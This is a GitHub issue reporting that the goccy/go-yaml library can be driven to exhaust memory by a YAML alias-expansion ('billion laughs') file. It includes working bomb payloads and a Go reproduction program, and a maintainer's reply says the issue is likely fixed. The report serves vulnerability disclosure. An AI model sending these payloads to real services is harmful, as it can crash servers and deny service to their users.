Security issue: Parsing malicious or large YAML documents can consume excessive amounts of CPU or memory.

[nclv]

Improper input validation allows to parse malicious YAML payloads, causing the server to consume excessive CPU or memory, potentially crashing and becoming unavailable.

How to reproduce

a: &a [_,_,_,_,_,_,_,_,_,_,_,_,_,_,_]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e]

package main

import (
	"encoding/binary"
	"fmt"
	"log"
	"math"
	"os"

	"github.com/goccy/go-yaml"
)

func prettyByteSize(b int) string {
	bf := float64(b)
	for _, unit := range []string{"", "Ki", "Mi", "Gi", "Ti", "Pi", "Ei", "Zi"} {
		if math.Abs(bf) < 1024.0 {
			return fmt.Sprintf("%3.1f%sB", bf, unit)
		}
		bf /= 1024.0
	}
	return fmt.Sprintf("%.1fYiB", bf)
}

func main() {
	data, err := os.ReadFile("./bomb.small.yaml")
	if err != nil {
		log.Fatalf("error: %v", err)
	}
	fmt.Printf("--- initial file:\n%s\n\n", prettyByteSize(binary.Size(data)))

	target := make(map[interface{}]interface{})

	err = yaml.Unmarshal(data, &target)
	if err != nil {
		log.Fatalf("error: %v", err)
	}
	// fmt.Printf("--- m:\n%v\n\n", target)

	data, err = yaml.Marshal(&target)
	if err != nil {
		log.Fatalf("error: %v", err)
	}
	fmt.Printf("--- target dump:\n%s\n\n", prettyByteSize(binary.Size(data)))
}

go run main.go 
--- initial file:
227.0B

--- target dump:
21.9MiB

The following .yaml file will be unmarshalled into several GB.

a: &a [_,_,_,_,_,_,_,_,_,_,_,_,_,_,_]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h,*h]

Expected behavior
Some checks should be implemented to prevent excessive memory usage.
See Add large document benchmarks, tune alias heuristic, add max depth limits #515 and go-yaml/yaml/blob/v3/decode.go.

Version Variables

• Go version: 1.21.4
• go-yaml's Version: v1.11.3

Additional context
CVE-2022-3064
GHSA-6q6q-88xp-6f2r

[goccy]

This issue is likely resolved, and decoding no longer unnecessarily consumes memory or CPU. However, when encoding large values, resource consumption will increase proportionally to the size of those values.